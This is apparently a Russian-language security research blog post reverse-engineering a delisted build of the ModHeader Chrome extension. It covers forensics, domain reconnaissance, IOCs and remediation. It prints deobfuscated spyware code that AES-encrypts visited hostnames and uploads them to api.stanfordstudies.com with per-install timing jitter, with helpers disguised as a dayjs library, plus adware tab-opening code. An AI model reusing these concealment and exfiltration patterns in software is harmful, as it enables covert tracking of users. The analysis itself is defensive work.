# Вредоносное ПО ModHeader: внутри шпиона для Chrome, которого удалил Google

> Мы разобрали вредоносное ПО ModHeader: реверс расширения Chrome, удалённого Google, выявил спящего шпиона, который шифрует и собирает домены. Полный разбор внутри.

- **URL:** https://hackindex.io/ru/research/modheader-malware-chrome-spyware
- **Published:** 2026-07-12
- **Updated:** 2026-07-14

## **Вредоносное ПО ModHeader: внутри шпиона для Chrome, которого удалил Google**

**Более 800 000 человек доверяли этому расширению.** А потом однажды утром Chrome отключил его и пометил как вредоносное ПО. При этом Google не объяснил причину. Ни слова о том, что делало расширение, и ни слова о том, какие данные оказались под угрозой.

Речь идёт о ModHeader, популярном инструменте для разработчиков, который переписывает HTTP-заголовки на каждом посещаемом вами сайте. Поэтому пометка о вредоносном ПО здесь очень серьёзна. В ответ мы сняли удалённую сборку с диска и провели её реверс. В этом разборе вредоносное ПО ModHeader рассмотрено целиком: скрытый пайплайн, форензика и индикаторы компрометации.

## **TL;DR**

Сначала краткая версия. Подробности ниже.

- **Что:** Сборка ModHeader (`idgpnmonknjnojddfkpgkljpfnnfcklj`, v7.0.18) содержала скрытый шпионский SDK. Важно, что этот ID принадлежит официальной странице ModHeader, а файлы несли подписи Chrome Web Store.
- **Поведение:** Он собирает домены, которые вы посещаете. Затем шифрует список по AES-GCM. Наконец, раз в день отправляет данные POST-запросом на `api.stanfordstudies.com/app/log`.
- **Тайник:** Вредоносные хелперы лежат в файле с именем `dayjs.min-*.js`. Иными словами, полезная нагрузка маскируется под библиотеку для работы с датами.
- **Состояние:** Сборщик поставляется **в спящем режиме** за пустым allowlist (`$w = []`). Тем не менее эндпоинт, ключ и планировщик уже на месте.
- **Командный сервер (C2):** Отслеживать здесь нечего. Выгрузка односторонняя, поэтому сервер не может отправлять команды обратно.
- **Ещё и рекламное ПО:** Помимо шпионской части, расширение открывает рекламную вкладку при **каждом обновлении** и показывает рекламу внутри приложения. Это происходит даже на управляемых корпоративных машинах.
- **Охват:** У ModHeader **800 000+ пользователей** в Chrome, плюс большая аудитория в Edge. Поскольку нагрузка распространяется через официальную страницу, под угрозой вся база установок.
- **Разведка:** Хост для эксфильтрации прячется за фальшивой витриной «Stanford Studies - Research» и почтовым ящиком на Lark. Кроме того, ряд слабых сигналов указывает на китаеязычного оператора.
- **Форензика:** На исследованной машине шпионское ПО **ни разу не сработало**. Однако расширение локально накопило полные HTTP-заголовки всех посещённых страниц.

Читайте дальше, чтобы узнать, как мы установили каждый из этих фактов.

## **Контекст: почему пометка «вредоносное ПО» для ModHeader так важна**

ModHeader очень популярен. Разработчики используют его, чтобы изменять HTTP-заголовки запросов и ответов. Поэтому ему нужен широкий доступ к вашему трафику. Для такой задачи это нормально. Но именно поэтому расширение становится ценной мишенью.

Самый интересный случай: доверенное расширение, помеченное как вредоносное. Либо под чужим брендом скрывается клон, либо доверенное расширение теперь несёт внедрённую нагрузку. Оба сценария часто встречаются в атаках на цепочку поставок через браузерные расширения. Поэтому в этом разборе вредоносного ПО ModHeader пометка считается зацепкой, а не приговором.

### **Где лежат файлы**

Удалённое расширение всё ещё оставалось на диске. Точный путь зависит от браузера и операционной системы. В Chrome проверьте здесь:

```
Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
```

В Edge та же нагрузка распространяется под другим ID. Поэтому проверьте и там:

```
Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
```

ModHeader не опубликован в Firefox, поэтому дополнение Mozilla проверять не нужно.

## **Первый взгляд: манифест и разрешения**

Мы начали с манифеста. Разрешения быстро показывают радиус поражения.

```json
// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}
```

Набор разрешений широкий. В него входят `<all_urls>`, `webRequest`, `declarativeNetRequest`, `scripting` и content script на каждой странице. Для инструмента работы с заголовками такой охват ожидаем. И всё же это значит, что вредоносная сборка уже контролирует ваш веб-трафик. Примечательно, что в поле `author` указано `modhader@`. Эта опечатка повторяется в коде как `modhader-tool-root`.

## **Улика: домен не от вендора**

Затем мы извлекли все URL-литералы из бандлов. Это самый быстрый шаг триажа для обфусцированного кода.

```bash
grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u
```

Большинство результатов указывают на `modheader.com`, настоящего вендора. Однако один хост явно выбивается из ряда:

- `https://api.stanfordstudies.com/app/log`

Домену «Stanford studies» нечего делать внутри инструмента для заголовков. Более того, `/app/log` представляет собой типичный путь для приёма данных. Поэтому мы потянули именно за эту ниточку. Этот адрес находится в одном файле: `assets/src/background-94ad634d.js`.

## **Обфускация: вредоносное ПО ModHeader спрятано в фальшивом **`dayjs`

Нагрузка импортирует свои хелперы из файла, который выглядит как библиотека для работы с датами.

```javascript
import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";
```

Но эти экспорты не имеют никакого отношения к датам. На самом деле это рабочие хелперы шпионского ПО.

```javascript
// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight
```

Это намеренная маскировка. Ревьюер бегло просматривает импорты, видит «dayjs» и идёт дальше. В результате хелперы вредоносного ПО ModHeader проходят ревью у всех на виду.

## **Как работает пайплайн эксфильтрации вредоносного ПО ModHeader**

Схема ниже показывает весь поток, от браузинга до выгрузки. Все символы ниже являются реальными минифицированными именами. После каждого блока идёт деобфусцированный псевдокод.

Пайплайн эксфильтрации вредоносного ПО ModHeader: сбор доменов, шифрование AES-GCM и ежедневная выгрузка на [api.stanfordstudies.com](http://api.stanfordstudies.com)

### **Шаг 1: идентификация и криптоматериал**

Сначала нагрузка готовит ключ, эндпоинт и отпечаток (fingerprint).

```javascript
let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};
```

Здесь важны два момента.

1. **«Шифрование» здесь служит обфускацией, а не защитой.** Ключ AES-GCM поставляется в открытом виде. Поэтому любой, у кого есть расширение, может расшифровать нагрузку. Шифрование нужно лишь для того, чтобы скрыть тело запроса от поверхностного анализа сети.
2. **Отпечаток работает как стабильный идентификатор для отслеживания.** Он равен `SHA-256(Date.now())`. Код генерирует его один раз, а затем сохраняет. В итоге он ведёт себя как случайный постоянный идентификатор.

### **Шаг 2: сбор хоста при каждом переходе**

Далее сборщик записывает домены. В качестве ключа он использует зашифрованное значение.

```javascript
async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}
```

Таким образом, хранилище сопоставляет каждому зашифрованному имени хоста счётчик. Проще говоря, оператор узнаёт, какие сайты вы посещаете и как часто. Полные URL и пути здесь не собираются. Собирается только хост.

### **Шаг 3: ежедневная выгрузка с джиттером по отпечатку**

Затем код решает, когда отправлять данные. Он выгружает их не чаще раза в день. Более того, он ждёт определённого часа, уникального для вашего отпечатка.

```javascript
async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}
```

Этот джиттер придуман хитро. Каждая жертва выгружает данные в своё время. Поэтому такой трафик сложнее заметить при сетевом мониторинге. После успешной отправки код очищает локальное хранилище, чтобы замести следы.

### **Шаг 4: роль kill switch играет пустой allowlist**

Наконец, вся цепочка привязана к жизненному циклу вкладок. Однако одна проверка полностью её останавливает.

```javascript
chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}
```

Здесь `$w` пуст. Поэтому `$w.indexOf(browser)` всегда возвращает `-1`. В результате проверка всегда завершает функцию, и `Zw` никогда не выполняется. В этой сборке сборщик присутствует, но спит. Поскольку `$w` является захардкоженной константой, для его включения нужна новая версия. Иными словами, настоящий триггер кроется в автообновлении.

## **Чего вредоносное ПО ModHeader не делает**

Важно точно описать и то, чего в коде нет. Поэтому мы проверили самые опасные сценарии и не нашли их.

- **Нет удалённого выполнения кода.** Здесь нет `eval`, нет злоупотребления `new Function` и нет `import("https://...")`.
- **Нет кражи учётных данных в канале эксфильтрации.** Выгрузка содержит имена хостов, отпечаток и тип браузера. Куки и содержимое страниц она не отправляет.
- **Куки только измеряются, но не отправляются.** Метрическая функция читает `document.cookie.length` для интерфейса с оценкой объёма хранилища. Значение куки никогда не покидает страницу.
- **Перехваченные заголовки остаются локально.** Слушатели заголовков пишут в локальное хранилище для собственного раздела истории расширения.

## **Ещё и рекламное ПО: рекламные вкладки при каждом обновлении**

Шпионское ПО спало. Рекламное ПО, напротив, работало. Пользователи сообщали, что рекламные вкладки открываются снова и снова, даже на строго настроенных корпоративных машинах. Код объясняет почему.

При каждом обновлении расширение принудительно открывает новую активную вкладку партнёрской сети.

```javascript
chrome.runtime.onInstalled.addListener(async (r) => {
  // ... also sets an uninstall URL that pings extensions-hub.com ...
  if (r.reason === "install") {
    // install tab opens only when there are no managed (enterprise) profiles
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // no such guard here, so this fires on EVERY update, managed machines included
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});
```

Бросаются в глаза две вещи.

- **Каждое обновление открывает вкладку.** Расширения обновляются автоматически, тихо и часто. Поэтому рекламная вкладка появляется снова и снова, что совпадает с жалобами пользователей.
- **Корпоративные машины не защищены.** Вкладка после установки пропускается, если есть управляемые профили. Однако для вкладки после обновления такой проверки нет. Поэтому в корпоративных развёртываниях рекламные вкладки всё равно появляются.

Внутри самого расширения есть и второй рекламный канал. Всплывающее окно запрашивает настройки рекламы у вендора и может показывать или закрывать рекламу.

```
GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad
```

Интерфейс даже прямо описывает эту модель: «Реклама временно приостановлена. Чтобы навсегда убрать рекламу, перейдите на платный тариф или откажитесь от рекламы, перейдя на ограниченный тариф».

Таким образом, поверх скрытого шпионского ПО расширение несло ещё и открыто заявленное рекламное ПО. Это две отдельные вещи. Рекламное ПО заметно и раздражает, а шпионское работает молча. Вместе они объясняют и жалобы пользователей, и пометку о вредоносном ПО.

## **Форензика: срабатывало ли вредоносное ПО ModHeader?**

IndexedDB расширения пережила удаление. Её размер составлял около 178 МБ.

```
~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
```

Поэтому мы просканировали её на маркеры выгрузки.

```bash
strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"
```

Результаты оказались однозначными:

- `stanfordstudies` дал **ноль совпадений** по всем 178 МБ.
- `lastUploadDate` и `uploadRecord` дали **ноль совпадений**.
- Хранилище доменов `temp` было практически пустым.

Следовательно, в этом профиле сборщик ни разу не записал домен и ни разу ничего не выгрузил. Это в точности соответствует спящей проверке `$w = []`. Проще говоря, ваш список посещённых доменов не покидал машину.

### **Сюрприз на 178 МБ: локальный склад заголовков**

Однако кое-что всё же заняло 178 МБ. Собственная функция «истории» расширения сохраняла полные заголовки запросов и ответов для каждой страницы. Больше всего было ключей `requestHeaders`, `responseHeaders`, `details` и `tabStartTime`.

Эти данные никогда не покидали диск. Тем не менее даже в хранении они остаются чувствительными. Заголовки часто содержат токены `Authorization`, сессионные куки и внутренние URL. Поэтому удалите это хранилище независимо от того, срабатывало ли шпионское ПО.

## **Где же командный сервер (C2)?**

Многие читатели задают резонный вопрос. Есть ли C2-канал, за которым можно следить? Если коротко, нет.

Выгрузка строго односторонняя. Тело ответа на `fetch` никогда не читается. Нет ни `.json()`, ни `.text()`, ни проверки `.ok` для ответа. Кроме того, рабочие константы захардкожены и никогда не переназначаются с сервера. Поэтому `api.stanfordstudies.com` служит точкой сброса данных, а не контроллером. Он не может давать расширению задания.

Настоящий канал управления: автообновление расширения. Чтобы включить спящий сборщик, оператору нужно выпустить новую версию. Именно этот вектор магазины и нейтрализуют, когда снимают расширение с публикации.

## **Разведка домена: действительно ли эндпоинт вредоносного ПО ModHeader опасен?**

Мы не ограничились кодом. Мы также изучили домен эксфильтрации с помощью пассивной и активной разведки. Вот что показывает сама инфраструктура.

### `api.stanfordstudies.com`**: замаскированный эндпоинт эксфильтрации**

Во-первых, название обманчиво. Публичная витрина на `www.stanfordstudies.com` носит заголовок «Stanford Studies - Research». Однако она никак не связана со Стэнфордским университетом. Более того, страница представляет собой пустую оболочку. Там нет ни исследовательской организации, ни политики конфиденциальности, ни контактов. Настоящее исследование со сбором данных, напротив, раскрывает все три пункта.

Во-вторых, API-хост ведёт себя как точка сброса данных, а не как веб-сайт.

- Домен зарегистрирован 2022-05-09 через Squarespace. Его WHOIS скрыт сервисом приватности.
- Почта домена идёт через `larksuite.com` (Lark / Feishu). Это указывает на китаеязычного оператора. Примечательно, что это совпадает со строкой `盐` («соль»), зашитой в код.
- `api.stanfordstudies.com` резолвится в единственный хост AWS EC2 (`3.147.61.167`, регион us-east-2).
- Запрос к корневому адресу завершился по таймауту. Значит, хост отвечает только на своём пути приёма данных, а не на обычный веб-трафик.
- Наконец, на urlscan.io есть записи по точному эндпоинту `api.stanfordstudies.com/app/log`. Там же есть сканы хоста начиная с ноября 2023 года.

В совокупности это скрытый эндпоинт приёма данных, замаскированный под академическое исследование. Поэтому мы считаем его вредоносным.

### **Откуда взялась инфраструктура**

Затем мы отследили хостинг и его историю. В итоге получилась типовая схема, скрытая сервисами приватности, с более долгим прошлым, чем следует из документов.

- **Хост.** Эндпоинт работает на одном инстансе AWS EC2, `3.147.61.167`, с обратной DNS-записью `ec2-3-147-61-167.us-east-2.compute.amazonaws.com`. Значит, он находится в AWS `us-east-2` (Колумбус, Огайо, AS16509 Amazon).
- **Старше, чем кажется.** По WHOIS домен создан в 2022 году. Однако certificate transparency показывает сертификаты для домена ещё с 2017 года. Значит, имя старше текущей регистрации, что указывает на повторную регистрацию или смену владельца.
- **Всё ещё активен.** Самый свежий сертификат выпущен в марте 2026 года. При этом urlscan.io фиксировал эндпоинт `/app/log` на протяжении 2025 года и снова в июле 2026 года.
- **Настоящая операция.** Помимо `api` и `www`, у домена есть поддомены `dev`, `devlog` и `devos`. Это поддерживаемая инфраструктура для разработки и эксплуатации, а не одноразовая схема.

Тем не менее WHOIS у регистратора скрыт сервисом приватности, а серверы находятся в общих диапазонах AWS. Поэтому след обрывается, так и не приведя к имени.

### **Контекст цепочки поставок: это официальный ID ModHeader**

Одна деталь повышает ставки. ID расширения `idgpnmonknjnojddfkpgkljpfnnfcklj` принадлежит официальной странице ModHeader, у которой более 800 000 пользователей. Кроме того, сборка поставлялась с подписями Chrome Web Store (`_metadata/verified_contents.json`). Поскольку Chrome отказывается запускать изменённые файлы, проанализированный код является подписанным дистрибутивом, а не локально изменённым клоном.

Однако по одному бинарнику мы не можем доказать, кто добавил нагрузку. Причиной может быть передача прав на расширение, внедрённый SDK для монетизации или решение самого вендора. Такой паттерн хорошо известен в отрасли. Поэтому мы приводим доказательства, а вопрос авторства оставляем открытым.

### **Вердикт по каждому домену**

| **Домен** | **Роль во вредоносном ПО ModHeader** | **Инфраструктура** | **Вердикт** |
| --- | --- | --- | --- |
| `api.stanfordstudies.com` | Приём зашифрованных собранных доменов | AWS EC2, корень недоступен, маскировка под «Stanford», почта на Lark | **Вредоносный** |
| `www.extensions-hub.com` | Рекламное ПО: рекламная вкладка при каждом обновлении | AWS S3 + CloudFront, партнёрский SaaS, общий для нескольких расширений | Рекламное ПО, нарушающее приватность |
| `modheader.com` | Облачная синхронизация вендора (для сравнения) | AWS + Google Workspace, прозрачно | Легитимный |

## **Охват и атрибуция: кто под угрозой и кто за этим стоит?**

### **Сколько пользователей под угрозой**

Радиус поражения велик, потому что это основная страница расширения. К тому же он охватывает два браузера.

- **Chrome:** 800 000+ установок, опубликовано под именем «ModHeader».
- **Edge:** то же расширение распространяется под ID `opgbiafapkbbnbnjcdomjaghbckfkglc` и имеет собственную большую базу установок. Microsoft удалила его из магазина Edge Add-ons 2026-07-03.
- **Firefox:** официального дополнения ModHeader не существует, поэтому пользователи Firefox не затронуты.
- **Рейтинг:** 2,91 звезды по 1226 оценкам. Это необычно мало для давно существующего инструмента разработчика.
- **Языки на странице:** английский и упрощённый китайский (`zh-CN`).
- **Последнее обновление страницы:** 2026-07-01, что совпадает с проанализированной сборкой v7.0.18.

Низкий рейтинг не случаен. В недавних отзывах расширение уже критикуют за поведение рекламного ПО и партнёрскую рекламу. Однако эта реклама раскрыта, и расширение позволяет от неё отказаться. Поэтому это отдельная, видимая претензия. Сборщик `stanfordstudies.com` устроен ровно наоборот. Он скрытый, зашифрованный и не даёт ни уведомления, ни возможности отказаться. Так что не путайте одно с другим: заявленная реклама подрывает доверие, а скрытый сбор доменов и есть настоящее шпионское ПО.

### **Признаки злоумышленника (низкая степень уверенности)**

Оператора можно описать лишь в общих чертах. Важно: мы не называем никакую группу, и ни один из этих сигналов не является доказательством.

- **Почта на Lark.** Домен эксфильтрации направляет почту через `larksuite.com` (Lark / Feishu), то есть через пакет, распространённый среди китаеязычных команд.
- **Китайская строка в коде.** Соль отпечатка содержит символ `盐`, который означает «соль».
- **Китаеязычные элементы.** На странице есть локаль на упрощённом китайском, а content script отдельно обрабатывает `baidu.com`.
- **Прикрытие под ложным флагом.** Страница «Stanford Studies» заимствует имя авторитетного американского университета. Очевидно, это отвлекающий манёвр, а не реальная связь.

В совокупности эти признаки слабо указывают на китаеязычного оператора. Однако инфраструктура размещена в AWS, а WHOIS скрыт сервисом приватности. Поэтому только по открытым источникам мы не можем связать её с конкретным актором.

## **Оценка воздействия**

Вот риски вкратце.

| **Вектор** | **Статус в v7.0.18** | **Раскрытые данные** | **Серьёзность** |
| --- | --- | --- | --- |
| Сбор доменов на `stanfordstudies.com` | Спит; ни разу не сработал | Посещённые имена хостов, отпечаток, браузер | Высокие возможности |
| Рекламные вкладки + реклама в приложении | Активно | Новая вкладка при каждом обновлении, в т. ч. на управляемых машинах | Средняя (нежелательно) |
| Локальная история заголовков | Активна, только локально | Полные заголовки всех посещённых страниц | Средняя при хранении |
| Охват разрешений | Сохраняется | Чтение и изменение всего HTTP-трафика | Высокий потенциал |

Проще говоря, с этой машины ничего не утекло. Но вредоносное ПО ModHeader содержало полный шпионский пайплайн с ключом и готовым эндпоинтом. До активации его отделяло одно изменение кода. При этом оно хранило чувствительные данные заголовков локально. Такое сочетание вполне оправдывает удаление расширения.

## **Обнаружение и устранение**

### **Если вы пострадавший пользователь**

Выполните эти шаги по порядку.

1. Убедитесь, что браузер отключил расширение. Chrome и Edge обычно делают это автоматически.
2. Удалите оставшиеся каталоги хранилища из списка ниже.
3. Заблокируйте `api.stanfordstudies.com` на уровне DNS и логируйте запросы к нему.
4. Устанавливайте инструмент для заголовков заново только из источника, которому доверяете.

```
Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
```

В Edge те же папки находятся в `Microsoft Edge/` вместо `Google/Chrome/`, а ID расширения: `opgbiafapkbbnbnjcdomjaghbckfkglc`.

### **Если вы защищаете парк устройств**

Используйте эти методы поиска и эвристики.

- Ищите с помощью grep строки IOC из списка ниже в распакованных каталогах расширений.
- Настройте оповещение на любое расширение, которое отправляет POST-запросом непрозрачное зашифрованное тело на домен, не принадлежащий вендору.
- Считайте признаком проблемного кода рабочие хелперы, экспортируемые из файла встроенной сторонней библиотеки.

## **Индикаторы компрометации**

Используйте эти IOC, чтобы искать тот же SDK вредоносного ПО ModHeader в других местах.

**Сеть**

```
api.stanfordstudies.com          (spyware exfil: POST /app/log)
www.extensions-hub.com           (adware: ad tab opened on every update)
modheader.com/api/ad-settings    (adware: in-app ad config)
```

**Расширение**

```
Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18
```

**Статические строки**

```
Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log
```

**Файлы (Vite-хеши этой сборки)**

```
assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)
```

## **Карта символов**

Для справки приводим соответствие минифицированных имён и их назначения.

| **Минифицированное имя** | **Значение** |
| --- | --- |
| `qw` | URL эксфильтрации `api.stanfordstudies.com/app/log` |
| `$w` | проверка по allowlist браузеров (пусто = спящий режим) |
| `Yw` | соль отпечатка `mod盐header` |
| `qo` | импортированный ключ AES-GCM |
| `Hw` | `fp = SHA-256(Date.now())`, идентификатор установки |
| `Zw` | запись посещённого домена |
| `Qw` | решение о выгрузке + очистка после успешной отправки |
| `zw` | проверка времени суток по отпечатку |
| `sf` / `af` / `Za` / `u0` | идентификатор браузера / хост / полночь / пауза |

## **Дополнительные материалы**

Чтобы шире понять, как доверенные расширения становятся враждебными, прочитайте следующие внешние отчёты.

- [Расширение Chrome стало вредоносным после смены владельца (The Hacker News)](https://thehackernews.com/2026/03/chrome-extension-turns-malicious-after.html)
- [Браузерные расширения распространили вредоносное ПО среди 4,3 млн пользователей Chrome и Edge (The Register)](https://www.theregister.com/2025/12/01/chrome_edge_malicious_browser_extensions/)
- [Разработчики расширений продают данные как минимум 6,5 млн пользователей (LayerX)](https://layerxsecurity.com/blog/your-extensions-sell-your-data-and-its-perfectly-legal/)
- [Исследование вредоносных браузерных расширений в 2025 году (arXiv)](https://arxiv.org/html/2503.04292v2)

*Этот анализ основан на статическом разборе и форензике на диске одной установленной сборки. Мы не делаем выводов об атрибуции. Если вы можете подтвердить, раздавал ли официальный Web Store именно эту сборку, свяжитесь с HackIndex Research.*
